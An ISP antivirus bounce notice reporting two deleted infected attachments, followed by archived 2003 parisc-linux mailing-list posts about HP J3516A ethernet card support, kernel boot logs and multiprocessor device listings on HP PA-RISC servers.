The file (part0000:)->(IFRAME0000) attached to mail (with subject:Error Message) sent by motocraft@hol.gr to bjorn.helgaas@hp.com, bdhilton@charter.net, kstailey@yahoo.com, andrew@neep.com.au, jmd5@earthlink.net, yusbu@webmail.bppt.go.id, alaskan@telusplanet.net, detlef.erdmann@sparkasse-bielefeld.de, ralf.hildebrandt@charite.de, krypton@ulrich-teichert.org, jijoya@gmx.net, lcrouch@qdsl.cjb.net, romanhuki@pop.com.br, timizod@durge.org, parisc-linux@parisc-linux.org, lcrouch@qdsl.ath.cx, vamailarmor@mail.viz.com, agx@debian.org, ramanewsprint@hotmail.com, sebastian.brueckner@epost.de, james.bottomley@hansenpartnership.com, joey@infodrom.org, leonardox@aullox.com, taggart@debian.org, gadek@debian.org, fi@igh-essen.com, cjwatson@debian.org, noel@debian.org, thierry@glossolalie.net, debian-hpp
 a@lists.debian.org, 
is infected with virus: HTML/IFrame_Exploit*.
Cannot clean this file.
The file was successfully deleted by HOL AntiVirus.
The file (part0001:ctgydcs.scr) attached to mail (with subject:Error Message) sent by motocraft@hol.gr to bjorn.helgaas@hp.com, bdhilton@charter.net, kstailey@yahoo.com, andrew@neep.com.au, jmd5@earthlink.net, yusbu@webmail.bppt.go.id, alaskan@telusplanet.net, detlef.erdmann@sparkasse-bielefeld.de, ralf.hildebrandt@charite.de, krypton@ulrich-teichert.org, jijoya@gmx.net, lcrouch@qdsl.cjb.net, romanhuki@pop.com.br, timizod@durge.org, parisc-linux@parisc-linux.org, lcrouch@qdsl.ath.cx, vamailarmor@mail.viz.com, agx@debian.org, ramanewsprint@hotmail.com, sebastian.brueckner@epost.de, james.bottomley@hansenpartnership.com, joey@infodrom.org, leonardox@aullox.com, taggart@debian.org, gadek@debian.org, fi@igh-essen.com, cjwatson@debian.org, noel@debian.org, thierry@glossolalie.net, debian-hppa@l
 ists.debian.org, 
is infected with virus: Win32/NewMalware.gen!.
Cannot clean this file.
The file was successfully deleted by HOL AntiVirus.
------------------------
this is a copy of the e-mail header:





From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP HSC J3516A (2 port) ethernet card  (supported??)
Date: Thu, 2 Oct 2003 10:27:42 -0500
Lines: 231
Approved: news@gmane.org
Message-ID: <1289146742B56546AE580DFC6B711A83134825@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622838 31955 80.91.229.3 (22 Nov 2014 02:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 09:27:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail2-ny2-R.bigfish.com (mail-ny2.bigfish.com [63.161.60.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF5BE4852
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 09:27:44 -0600 (MDT)
Original-Received: from mail2-ny2.bigfish.com (localhost.localdomain [127.0.0.1])
	by mail2-ny2-R.bigfish.com (Postfix) with ESMTP id B8C762A1038
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 15:27:43 +0000 (UCT)
Original-Received: by mail2-ny2 (MessageSwitch) id 1065108463675564_12798; Thu,  2 Oct 2003 15:27:43 +0000 (UCT)
Original-Received: from smtpgw6.it.sprintspectrum.com (smtpgw6.sprintspectrum.com [207.40.188.14])
	by mail2-ny2.bigfish.com (Postfix) with ESMTP id 3E5762A0F1E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 15:27:43 +0000 (UCT)
Original-Received: from mailhost.sprintspectrum.com (smtpgw7.it.sprintspectrum.com [207.40.65.55])
	by smtpgw6.it.sprintspectrum.com (8.12.10/8.12.8) with ESMTP id h92FRhRZ001539
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Oct 2003 10:27:43 -0500 (CDT)
Original-Received: from PDAWG02A.corp.sprint.com (localhost [127.0.0.1])
	by mailhost.sprintspectrum.com (Switch-2.2.8/Switch-2.2.6) with ESMTP id h92FRhV15544
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Oct 2003 10:27:43 -0500 (CDT)
Original-Received: from PKDWB07C.ad.sprint.com ([10.185.12.151]) by PDAWG02A.corp.sprint.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Thu, 2 Oct 2003 10:27:42 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: HP HSC J3516A (2 port) ethernet card  (supported??)
Thread-Index: AcOI+bh2DYLAYSdpRdiAGANJMVbhTg==
X-OriginalArrivalTime: 02 Oct 2003 15:27:42.0844 (UTC) FILETIME=[B8FEB3C0:01C388F9]
X-BigFish: v
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19707

Hello,

I am trying to configure two HP J3516A's that I have in an R390.  They
initially showed up while using the debian installation cd as eth0 and
eth1 (the internal lan was eth2).  However, after reboot it seems that
they are not being correctly initialized by the kernel (internal lan is
now eth0).

The following is the pertinent kernel output :

3. HP HSC-PCI Cards (4) at 0xf1008000 [8/8], versions 0x4, 0x0, 0x9d
4. HP HSC-PCI Cards (4) at 0xf100c000 [8/12], versions 0x4, 0x0, 0x9d
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected ___FFFF)
Dino version 3.x (card mode) found at 0xf1008000
Dino: Failed to allocate memory region
Dino version 3.x (card mode) found at 0xf100c000
Dino: Failed to allocate memory region
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
PCI: Unable to reserve I/O region #1:80@8050000 for device 01:01.0
Trying to free nonexistent resource <08050000-0805007f>
Trying to free nonexistent resource <41000000-4100007f>
PCI: Unable to reserve I/O region #1:80@dfd38800 for device 01:02.0
Trying to free nonexistent resource <dfd38800-dfd3887f>
Trying to free nonexistent resource <bfbe6680-bfbe66ff>
PCI: Unable to reserve I/O region #1:80@af335c00 for device 02:01.0
Trying to free nonexistent resource <af335c00-af335c7f>
Trying to free nonexistent resource <ff93e700-ff93e77f>
PCI: Unable to reserve I/O region #1:80@55b26500 for device 02:02.0
Trying to free nonexistent resource <55b26500-55b2657f>
Trying to free nonexistent resource <7e818a00-7e818a7f>

Are these cards currently supported?  If yes, then what could be causing
these problems?

Also, I am having some problems with the internal NIC.  It appears as if
the card is working properly, however I am seeing the following errors
and am unable to ping any machine on my network (still investigating ARP
and the speed settings on our switch).  Figured I would include this in
the case that it indicates problems with the other two network
cards(???).

Oct  1 19:52:15 mplekwb2 kernel: eth0: 82596 at 0xffd07000, 08 00 09 B8
77 A4 IRQ 87.
Oct  1 19:52:15 mplekwb2 kernel: eth0: Transceiver problem.
Oct  1 20:02:39 mplekwb2 kernel: eth0: Transceiver problem.
Oct  1 20:05:28 mplekwb2 kernel: eth0: command unit timed out, status
resetting.
Oct  1 20:11:39 mplekwb2 kernel: eth0: link ok.
Oct  1 20:14:05 mplekwb2 kernel: eth0: command unit timed out, status
resetting.

And here is the complete kernel boot output :

Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16
17:09:00 MST 2002
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005ba0 00000491 00000000 00000002 77800b8b 100000f0 00000008
000000b2 000000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
model 9000/800/R390
Total Memory: 1024 Mb
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=3D/dev/sda5 HOME=3D/ console=3DttyS0 =
TERM=3Dvt102
palo_kernel=3D2/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 478.41 BogoMIPS
Memory: 1029104k available
Dentry-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 65536 (order: 7, 524288 bytes)
Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 65536 (order: 6, 262144 bytes)
Page-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf,
0xb
2. Mombasa GS Add-on mass FC (A3591) (4) at 0xf1004000 [8/4], versions
0x18, 0x0, 0xa7
3. HP HSC-PCI Cards (4) at 0xf1008000 [8/8], versions 0x4, 0x0, 0x9d
4. HP HSC-PCI Cards (4) at 0xf100c000 [8/12], versions 0x4, 0x0, 0x9d
5. UL 550 Lasi Core BA (11) at 0xffd00000 [8/16], versions 0x2f, 0x0,
0x81,  additional addresses: 0xffd0c000 0xffc00000=20
6. UL 550 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2f,
0x0, 0x74,  additional addresses: 0xffd01000 0xffd03000=20
7. UL 550 Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x2f,
0x0, 0x8c8. UL 550 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x2f,
0x0, 0x82
9. UL 350 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x2f,
0x0, 0x8a
10. UL 550 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x2f,
0x0, 0x84
11. UL 550 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x2f,
0x0, 0x84
12. UL 550 Core Wax BA (11) at 0xffe00000 [8/20], versions 0x31, 0x0,
0x8e
13. UL 550 Wax Core RS-232 (10) at 0xffe02000 [8/20/2], versions 0x31,
0x0, 0x8c
14. UL 550 Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x31, 0x0,
0x90,  additional addresses: 0xffc88000=20
15. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1,
0xc
16. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf,
0xb
17. Mombasa GS Add-on mass FC (A3591) (4) at 0xf180c000 [10/12],
versions 0x18, 0x0, 0xa7
18. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1,
0xc
19. UL 2w U+/240 (350/550) (0) at 0xfffa0000 [32], versions 0x5ba, 0x0,
0x4
20. UL 2w U+/240 (350/550) (0) at 0xfffa2000 [34], versions 0x5ba, 0x0,
0x4
21. Memory (1) at 0xfffb1000 [49], versions 0x7e, 0x0, 0x9
CONFIG_SMP=3Dn  ignoring additional CPUs
CPU(s): 1 x PA8200 (PCX-U+) at 240.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
ccio-dma.c: failed to claim CCIO bus address space!
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xffc88000
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected ___FFFF)
Dino version 3.x (card mode) found at 0xf1008000
Dino: Failed to allocate memory region
Dino version 3.x (card mode) found at 0xf100c000
Dino: Failed to allocate memory region
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Enabled soft power switch (polling mode, io=3D0xf0140000).
Starting kswapd
Journalled Block Device driver loaded
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xffd05800 (irq =3D 90) is a 16550A
ttyS01 at iomem 0xffe02800 (irq =3D 121) is a 16550A
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=3D32
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with
idebus=3Dxx
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
PCI: Unable to reserve I/O region #1:80@8050000 for device 01:01.0
Trying to free nonexistent resource <08050000-0805007f>
Trying to free nonexistent resource <41000000-4100007f>
PCI: Unable to reserve I/O region #1:80@dfd38800 for device 01:02.0
Trying to free nonexistent resource <dfd38800-dfd3887f>
Trying to free nonexistent resource <bfbe6680-bfbe66ff>
PCI: Unable to reserve I/O region #1:80@af335c00 for device 02:01.0
Trying to free nonexistent resource <af335c00-af335c7f>
Trying to free nonexistent resource <ff93e700-ff93e77f>
PCI: Unable to reserve I/O region #1:80@55b26500 for device 02:02.0
Trying to free nonexistent resource <55b26500-55b2657f>
Trying to free nonexistent resource <7e818a00-7e818a7f>
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 08 00 09 B8 77 A4 IRQ 87.
82596.c $Revision: 1.28 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2=20
scsi0 : LASI SCSI 53c700
scsi0: (2:0) Synchronous at offset 8, period 100ns
  Vendor: HP        Model: DVD-ROM 6x/32x    Rev: 1.08
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (5:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST39175LW         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi0: (6:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST39175LW         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
scsi0: (5:0) Enabling Tag Command Queuing
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4 < sda5 >
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sdb: 17783112 512-byte hdwr sectors (9105 MB)
 sdb: unknown partition table
Attached scsi CD-ROM sr0 at scsi0, channel 0, id 2, lun 0
sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.12
sticonsole_init: searching for STI ROMs
BUG: Skipping previously registered driver: sti (native)
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   526.400 MB/sec
   8regs_prefetch:   526.400 MB/sec
   32regs    :   408.800 MB/sec
   32regs_prefetch:   408.800 MB/sec
raid5: using function: 8regs_prefetch (526.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 8192 buckets, 64Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM (383k)

Thanks!

Pat Padgett


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP HSC J3516A (2 port) ethernet card  (supported??)
Date: Thu, 2 Oct 2003 16:46:34 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20031002154634.GD24824@parcelfarce.linux.theplanet.co.uk>
References: <1289146742B56546AE580DFC6B711A83134825@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622839 31958 80.91.229.3 (22 Nov 2014 02:20:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 09:46:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DFC34845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 09:46:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A55f0-0002wx-PD; Thu, 02 Oct 2003 16:46:34 +0100
Content-Disposition: inline
In-Reply-To: <1289146742B56546AE580DFC6B711A83134825@PKDWB07C.ad.sprint.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19708

On Thu, Oct 02, 2003 at 10:27:42AM -0500, Padgett, Pat M [NTWK SVCS] wrote:
> I am trying to configure two HP J3516A's that I have in an R390.  They
> initially showed up while using the debian installation cd as eth0 and
> eth1 (the internal lan was eth2).  However, after reboot it seems that
> they are not being correctly initialized by the kernel (internal lan is
> now eth0).

I realise this probably isn't the answer you wanted to hear; but is there
any chance you could try 2.6 on this machine?  We just got GSC Tulip
cards working properly in 2.6 and it'd be really useful to know that it
works on your box too.  After we know that, we can try backporting the
changes to 2.4.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP HSC J3516A (2 port) ethernet card  (supported??)
Date: Thu, 2 Oct 2003 16:52:58 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20031002155258.GE24824@parcelfarce.linux.theplanet.co.uk>
References: <1289146742B56546AE580DFC6B711A83134825@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622839 31960 80.91.229.3 (22 Nov 2014 02:20:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 09:52:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57DA34845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 09:52:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A55lC-0003Bs-Iw; Thu, 02 Oct 2003 16:52:58 +0100
Content-Disposition: inline
In-Reply-To: <1289146742B56546AE580DFC6B711A83134825@PKDWB07C.ad.sprint.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19709

On Thu, Oct 02, 2003 at 10:27:42AM -0500, Padgett, Pat M [NTWK SVCS] wrote:
> Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16
> 17:09:00 MST 2002

Oh, I just noticed this bit.  It's possible a later 2.4
kernel would support these cards better.  You can fetch
kernel-image-2.4.21-32-smp_pa7.2_hppa.deb from debian and install that.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Thu, 2 Oct 2003 18:53:30 +0200
Lines: 154
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000C2D7@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622839 31969 80.91.229.3 (22 Nov 2014 02:20:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 10:53:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF4754845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 10:53:33 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A56ho-0000dw-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 02 Oct 2003 18:53:32 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 2 Oct 2003 18:53:30 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19710

Hi all,

Sorry if annoying with smp but I have an opportunity to test an hypothesis:
2.4 64bits smp capability would work on a L2000 (because it works on a A500)

Yes it works (I just compile a kernel (while a 'top' showing me cc1 switching
from 
pu1 to cpu2 to cpu1...) because I just have it for some hours).

And I compare devices found:

[...]
model 9000/800/L2000-44
[...]
Searching for devices:
Found devices:
1. Rhapsody 440 (0) at 0xfffffffffffa0000 [160], versions 0x5c4, 0x0, 0x4

2. Rhapsody 440 (0) at 0xfffffffffffa6000 [166], versions 0x5c4, 0x0, 0x4
3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582,
0x0, 0xb
4. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0,
0xa
5. Elroy PCI 
ridge (13) at 0xfffffffffed32000 [0/1], versions 0x782, 0x0,
0xa
6. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0,
0xa
7. Elroy PCI Bridge (13) at 0xfffffffffed36000 [0/3], versions 0x782, 0x0,
0xa
8. Elroy PCI Bridge (13
 at 0xfffffffffed38000 [0/4], versions 0x782, 0x0,
0xa
9. Elroy PCI Bridge (13) at 0xfffffffffed3a000 [0/5], versions 0x782, 0x0,
0xa
10. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0,
0xa
11. Elroy PCI Bridge (13) at 0xf
fffffffed3e000 [0/7], versions 0x782, 0x0,
0xa
12. Memory (1) at 0xfffffffffed08000 [8], versions 0x95, 0x0, 0x9
CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
[...]


[...]
model 9000/800/N4000-55
[...

Searching for devices...
Found devices:
1. Memory (1) at 0xfffffffffedc0000 [192], versions 0x90, 0x0, 0x9
2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions
0x803, 0x0, 0xc
3. Elroy PCI Bridge (13) at 0xffffffffbffe000 [0/0], versions 0x782, 0x0,
0xa
4. Elroy PCI Bridge (13) at 0xffffffffbffe2000 [0/1], versions 0x782, 0x0,
0xa
5. Elroy PCI Bridge (13) at 0xffffffffbffe4000 [0/2], versions 0x782, 0x0,
0xa
6. Elroy PCI Bridge (13) at 0xffffffffbffe8000 [0/4], versions 0x782, 0x0,
0xa
7. Elroy PCI Bridge (13) at 0xffffffffbffea000 [0/5], versions 0x782, 0x0,
0xa
8. Elroy PCI Bridge (13) at 0xffffffffbfff0000 [0/8], versions 0x782, 0x0,
0xa
9. Elroy PCI Bridge (13) at 0xffffffffbfff4000 [0/10], versions 0x782, 0x0,
0xa
10. Elroy PCI Bridge (13) at 0xffffffffbfff8000 [0/12], versions 0x782, 0x0,

0xa
11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions
0x803, 0x0, 0xc
12. Elroy PCI Bridge (13) at 0xfffffffffece0000 [1/0], versions 0x782, 0x0,
0xa
13. Elroy PCI Bridge (13) at 0xfffffffffece4000 [1/2], versions 0x782, 0x0,
0xa
14. Elroy PCI Bridge (13) at 0xfffffffffece8000 [1/4], versions 0x782, 0x0,
0xa
15. Elroy PCI Bridge (13) at 0xfffffffffecf0000 [1/8], versions 0x782, 0x0,
0xa
16. Elroy PCI Bridge (13) at 0xfffffffffecf4000 [1/10], versions 0x782, 0x0,

0xa
17. Elroy PCI Bridge (13) at 0xfffffffffecf8000 [1/12], versions 0x782, 0x0,

0xa
18. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0,
0xc
19. Unknown machine (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0,
0x0
20. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0,
0xc
